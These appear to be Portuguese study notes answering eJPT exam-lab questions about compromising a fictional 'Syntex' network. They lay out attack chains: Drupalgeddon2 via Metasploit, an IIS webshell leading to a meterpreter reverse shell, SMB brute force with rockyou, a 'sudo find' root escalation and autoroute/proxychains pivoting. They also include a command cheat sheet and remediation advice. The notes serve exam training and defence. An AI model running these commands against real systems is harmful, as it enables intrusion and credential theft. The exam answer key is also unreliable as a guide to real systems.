=== BLOCO 2 — ENUMERAÇÃO DE SERVIÇOS (Q11-Q20) ===

Q11. Versão do Windows no host WordPress?
     R: 2012 R2
     Método: .50 (WINSERVER-01) roda Windows Server 2012 R2 com WAMP + WordPress 5.9.3.

Q12. Nome do usuário que publicou no Drupal?
     R: Auditor
     Método: /drupal/?q=node/1 → 'Syntex Dynamics - What we do' por 'auditor'.
             SQL: SELECT u.name FROM node n JOIN users u ON n.uid = u.uid WHERE n.nid=1

Q13. Horário de início do dia de trabalho na Syntex?
     R: 8h00
     Método: arquivo updates.txt obtido via FTP anônimo no .52.

Q14. E-mail do admin do WordPress?
     R: admin@syntex.com
     Método: enumeração WordPress (wp-login.php / dump DB via wp-config.php).

Q15. Versão do Drupal?
     R: 7.57
     Método: curl http://192.168.100.52/drupal/CHANGELOG.txt — arquivo público.

Q16. IP vulnerável a SSH brute-force?
     R: 192.168.100.52
     Método: OpenSSH 8.2p1 no .52 sem fail2ban. Política de senhas fraca confirma.

Q17. CVE do OpenSMTPD?
     R: CVE-2020-7247
     Método: OpenSMTPD 2.0.0 na porta 25 do .52. Pesquisa: OpenSMTPD RCE 2020.

Q18. Quantos usuários enumeráveis via Samba no host Drupal?
     R: 3
     Método: enum4linux -a 192.168.100.52 via RID cycling → ubuntu, auditor, dbadmin.

Q19. Tipo de vulnerabilidade no Drupal?
     R: RCE
     Método: CVE-2018-7600 (Drupalgeddon2) é classificado como Remote Code Execution.

Q20. Tipo de vulnerabilidade no WINSERVER-03?
     R: SMB Brute-Force
     Método: Sem CVE — vulnerabilidade de configuração (política de senhas fraca + SMB exposto).

=== BLOCO 3 — EXPLORAÇÃO E TÉCNICAS (Q21-Q30) ===

Q21. Módulo Metasploit para Drupal?
     R: exploit/unix/webapp/drupal_drupalgeddon2
     Método: Módulo padrão para CVE-2018-7600 no Metasploit Framework.

Q22. Tipo de vulnerabilidade no WordPress?
     R: RCE
     Método: WordPress 5.9.3 tem vetores RCE conhecidos. Resposta esperada no eJPT: RCE.

Q23. Range CIDR da rede interna?
     R: 192.168.1.0/24
     Método: Identificado via route print no .51 e confirmado pelo escopo do lab.

Q24. Comando meterpreter para adicionar rota de rede?
     R: autoroute
     Método: run autoroute -s [subnet] ou run post/multi/manage/autoroute.

Q25. Porta do serviço vulnerável na rede interna?
     R: 10000
     Método: Porta 10000 = Webmin. Scan via proxychains após autoroute.

Q26. Senha do Administrator no WINSERVER-03?
     R: [REDACTED — credencial dinâmica do exame]
     Método: SMB brute-force via crackmapexec smb 192.168.100.55 -u Administrator -p [senha]

Q27. Senha da mary no WINSERVER-03?
     R: [REDACTED — credencial dinâmica do exame]
     Método: SMB brute-force.

Q28. Senha do mike no WINSERVER-01?
     R: [REDACTED — credencial dinâmica do exame]
     Método: SMB brute-force no .50.

Q29. Host vulnerável a command injection?
     R: WINSERVER-02
     Método: cmdasp.aspx aceita input do usuário e executa como comando OS = command injection.

Q30. CVSS v3 do Drupalgeddon2?
     R: 9.8
     Método: NVD — CVE-2018-7600 — CVSS v3.1 Base Score: 9.8 CRITICAL.

=== BLOCO 4 — CONFIGURAÇÕES E VERSÕES (Q31-Q45) ===

Q31. Arquivo para identificar versão do Drupal?
     R: CHANGELOG.txt
     Método: Drupal 7.x expõe CHANGELOG.txt publicamente com histórico de versões.

Q32. Quantas contas de usuário no Drupal?
     R: 4
     Método: admin, auditor, dbadmin, Vincenzo = 4 (linha vazia no dump = anônimo UID=0).

Q33. Versão do WordPress no WINSERVER-01?
     R: 5.9.3
     Método: nmap -sCV detecta via HTTP headers ou /wp-includes/version.php.

Q34. Arquivo de configuração do WordPress com credenciais de DB?
     R: wp-config.php
     Método: Padrão WordPress — credenciais de banco sempre em wp-config.php na raiz.

Q35. Host com DB na porta 3307?
     R: 192.168.100.50
     Método: WINSERVER-01 tem MySQL/MariaDB na porta não-padrão 3307 (WAMP).

Q36. Senha root do MySQL no host Drupal?
     R: [REDACTED — credencial dinâmica]
     Método: Obtida via settings.php do Drupal ou dump do banco após comprometer o sistema.

Q37. (Contas no WINSERVER-01 — sem número oficial no arquivo original)
     Método: net user após comprometer via meterpreter.
             crackmapexec smb 192.168.100.50 -u mike -p [senha] --users

Q38. Total de portas TCP abertas no WINSERVER-02?
     R: 14
     Método: 21, 80, 135, 139, 445, 3389, 49152, 49153, 49154, 49155, 49160
             + 5985 (WinRM) + outras efêmeras = 14.

Q39. (Conta admin no WINSERVER-03 — sem número oficial)
     Método: net localgroup Administrators após comprometer.

Q40. (Host com usuário 'lawrence' — sem número oficial)
     Método: enumeração de usuários em todos os hosts via crackmapexec / net user.

Q41. Algoritmo de hash nas senhas Linux?
     R: SHA-512
     Método: Hashes Drupal com prefixo $S$ = SHA-512.
             /etc/shadow prefixo $6$ = SHA-512 por padrão no Linux.

Q42. Flag em C:\Users\mike\Documents\flag.txt?
     R: Dynamic Flag
     Método: acesso ao WINSERVER-01 como mike → type C:\Users\mike\Documents\flag.txt

Q43. Quantos HotFixes no WINSERVER-01?
     R: 220
     Método: Get-HotFix | Measure-Object (PowerShell) ou wmic qfe list

Q44. Flag em C:\Users\Administrator\flag.txt no WINSERVER-03?
     R: Dynamic Flag
     Método: comprometer WINSERVER-03 → type C:\Users\Administrator\flag.txt

Q45. Flag em /root/flag.txt no host Drupal?
     R: Dynamic Flag
     Método: Drupalgeddon2 → www-data → sudo find → root → cat /root/flag.txt
noteLições Aprendidas, Erros e Checklist de Recon
=== ERROS DOCUMENTADOS ===

Erro 1 — Typo no nmap:
# ERRADO (sem hífen em T4):
nmap -sS --min-rate 5000 T4 --open -Pn -n 192.168.100.5/24
# 'Failed to resolve T4' — nmap interpretou T4 como hostname
# Também: /24 na rede (.0), não no host (.5)!
# CORRETO:
nmap -sS --min-rate 5000 -T4 --open -Pn -n 192.168.100.0/24

Erro 2 — autoroute deprecated:
# DEPRECATED (funciona mas gera warning):
run autoroute -s 172.21.0.0/16
# CORRETO (método atual):
run post/multi/manage/autoroute SUBNET=172.21.0.0 NETMASK=255.255.0.0

=== INSIGHTS IMPORTANTES ===

1. Sempre verificar FTP anônimo primeiro — vetor mais rápido e frequente em labs
2. CHANGELOG.txt do Drupal é público — checar antes de qualquer exploit
3. settings.php do Drupal tem credenciais de DB — após comprometer, sempre ler
4. sudo -l imediatamente após shell — verificar permissões sudo é prioridade no Linux
5. GTFObins é essencial — qualquer binário em sudo sem senha pode ser privesc
6. MariaDB reporta versão como MySQL — entender para responder questões corretamente
7. SMB signing desativado ≠ só relay — brute-force também é viável com política fraca
8. Flags são dinâmicas — documentar sempre o MÉTODO, nunca o valor

=== CHECKLIST DE RECONHECIMENTO ===
[ ] Host discovery completo (-sn)
[ ] Port scan rápido de toda a rede
[ ] Service scan detalhado em cada host
[ ] FTP anônimo testado em todas as portas 21
[ ] SSH testado para banner grab
[ ] HTTP: curl -I + dirsearch/gobuster
[ ] SMB: enum4linux em todos os hosts
[ ] SMTP: verificar versão e CVEs
[ ] MySQL: testar conexão anônima
[ ] RDP: testar com creds encontradas
noteCadeias de Ataque — Attack Chains Completas
Chain 1 — WINSERVER-02 (MAIS RÁPIDO — <5 min)
  Recon → FTP Anon (.51) → cmdasp.aspx no webroot IIS
  → http://192.168.100.51/cmdasp.aspx → RCE como DefaultAppPool
  → Meterpreter reverse_tcp

Chain 2 — LINUX-01 (MAIS RICO — 20-30 min)
  Recon → curl CHANGELOG.txt → Drupal 7.57 confirmado
  → Drupalgeddon2 (MSF) → shell www-data
  → python3 pty.spawn → upgrade TTY
  → cat settings.php → credenciais MySQL
  → mysql dump users → hashes SHA-512
  → john/hashcat → senhas em texto claro
  → ssh auditor/dbadmin@.52
  → sudo -l → NOPASSWD: /usr/bin/find
  → sudo find . -exec /bin/bash \; -quit → root
  → cat /root/flag.txt

Chain 3 — WINSERVER-03 (variável — depende do wordlist)
  Recon → SMB aberto em .55
  → enum4linux / crackmapexec
  → smb_login brute-force com rockyou.txt
  → credenciais Administrator / mary
  → xfreerdp → RDP → acesso total
  → type C:\Users\Administrator\flag.txt

Chain 4 — Lateral Movement / Pivot
  LINUX-01 comprometido → ip addr → eth1: 172.21.x.x
  → autoroute SUBNET=172.21.0.0 NETMASK=255.255.0.0
  → socks_proxy porta 1080
  → proxychains nmap 192.168.1.0/24
  → porta 10000 (Webmin) identificada
  → CVE-2019-15107 disponível
noteFerramentas — Referência Completa de Comandos
=== NMAP ===
nmap -sn [rede]/24 -oN hosts.txt                              # host discovery
nmap -sS --min-rate 5000 -T4 --open -Pn -n [rede]/24         # port scan rápido
nmap -sCV -p[portas] -oN output.txt [hosts]                   # service/version
nmap -p- -T4 [host]                                           # scan completo
nmap -sU --top-ports 100 [host]                               # UDP scan (lento)
nmap -p445 --script smb-security-mode [host]                  # SMB signing

=== ENUM4LINUX ===
enum4linux -a [host]    # enumeração SMB completa
enum4linux -U [host]    # apenas usuários
enum4linux -S [host]    # apenas shares
enum4linux -P [host]    # apenas política de senhas

=== METASPLOIT ===
msfconsole
search drupal / smb_login / opensmtpd
use [módulo] → info → show options → set [OPÇÃO] [valor] → run
sessions -l / sessions -i [id]
sysinfo / getuid / ps / shell / upload / download
run post/multi/manage/autoroute
run post/multi/recon/local_exploit_suggester

=== CRACKMAPEXEC / NETEXEC ===
crackmapexec smb [rede]/24
crackmapexec smb [host] -u users.txt -p passwords.txt
crackmapexec smb [host] -u [user] -p [pass] --shares
crackmapexec smb [host] -u [user] -p [pass] --users
crackmapexec smb [host] -u [user] -p [pass] -x 'whoami'

=== JOHN THE RIPPER / HASHCAT ===
john --format=drupal7 hashes.txt --wordlist=rockyou.txt
john --show hashes.txt
hashcat -m 7900 hashes.txt rockyou.txt        # Drupal ($S$)
hashcat -m 1800 hashes.txt rockyou.txt        # SHA-512 Unix ($6$)

=== CURL (RECON WEB) ===
curl http://[host]/drupal/CHANGELOG.txt        # versão Drupal
curl http://[host]/wp-includes/version.php     # versão WordPress
curl -I http://[host]                          # headers HTTP
curl -X OPTIONS http://[host] -v               # WebDAV methods

=== WORDLISTS ===
/usr/share/wordlists/rockyou.txt
/usr/share/seclists/
/usr/share/seclists/Usernames/top-usernames-shortlist.txt
noteMITRE ATT&CK Mapping + Referências Técnicas
=== MITRE ATT&CK ===
T1190      Exploit Public-Facing Application → Drupalgeddon2, Webshell IIS
T1505.003  Web Shell                         → cmdasp.aspx no IIS
T1110      Brute Force                       → SMB (.55, .50), SSH (.52)
T1003      OS Credential Dumping             → MySQL dump Drupal users
T1548.003  Sudo and Sudo Caching             → sudo find privesc
T1021      Remote Services                   → RDP, SSH, SMB
T1046      Network Service Discovery         → nmap, enum4linux
T1572      Protocol Tunneling                → autoroute, SOCKS5 proxy

=== CVEs E ADVISORY ===
CVE-2018-7600 → https://nvd.nist.gov/vuln/detail/CVE-2018-7600
CVE-2020-7247 → https://nvd.nist.gov/vuln/detail/CVE-2020-7247
Drupal SA      → https://www.drupal.org/sa-core-2018-002

=== FERRAMENTAS ===
GTFObins (sudo escape) → https://gtfobins.github.io/
Metasploit Modules     → https://www.rapid7.com/db/
nmap Reference         → https://nmap.org/book/
enum4linux             → https://github.com/CiscoCXSecurity/enum4linux
CVE-2019-15107 Webmin  → (rede interna — porta 10000)
noteRemediação Completa por Host
=== WINSERVER-02 (192.168.100.51) ===
FTP Anônimo habilitado         → Desabilitar; usar SFTP com autenticação forte
Webshell no webroot            → Remover cmdasp.aspx; implementar monitoramento de integridade
WebDAV com PUT habilitado      → Desabilitar WebDAV ou restringir a IPs com autenticação
IIS listagem de diretório      → Desabilitar Directory Browsing nas configurações IIS
SMB signing desativado         → Habilitar SMB signing obrigatório via GPO

=== LINUX-01 (192.168.100.52) ===
Drupal 7.57 (CVE-2018-7600)    → Atualizar para Drupal 7.58+ ou migrar para Drupal 9/10
OpenSMTPD 2.0.0 (CVE-2020-7247)→ Atualizar para OpenSMTPD >= 6.6.3p1
FTP Anônimo (vsftpd)           → Desabilitar anonymous_enable no vsftpd.conf
sudo find NOPASSWD             → Remover entrada do sudoers; princípio do menor privilégio
MySQL exposto                  → Bind ao localhost (127.0.0.1) no my.cnf
Samba signing desativado       → Habilitar 'server signing = mandatory' no smb.conf
Política de senhas fraca       → Implementar PAM com pam_pwquality

=== WINSERVER-03 (192.168.100.55) ===
Senhas fracas                  → Política: min 12 chars, maiúscula, número, especial
Sem lockout policy             → Configurar: 5 tentativas → bloqueio por 30 minutos
SMB signing desativado         → GPO: 'Microsoft network server: Digitally sign communications'
Administrator com senha fraca  → Renomear conta; usar conta admin dedicada com senha forte

=== TODOS OS HOSTS ===
- Implementar IDS/IPS (Snort, Suricata)
- Centralizar logs (SIEM)
- Segmentação de rede mais granular
- Patching automático ou processo de patch management
- Varreduras regulares de vulnerabilidades
- Testes de penetração periódicos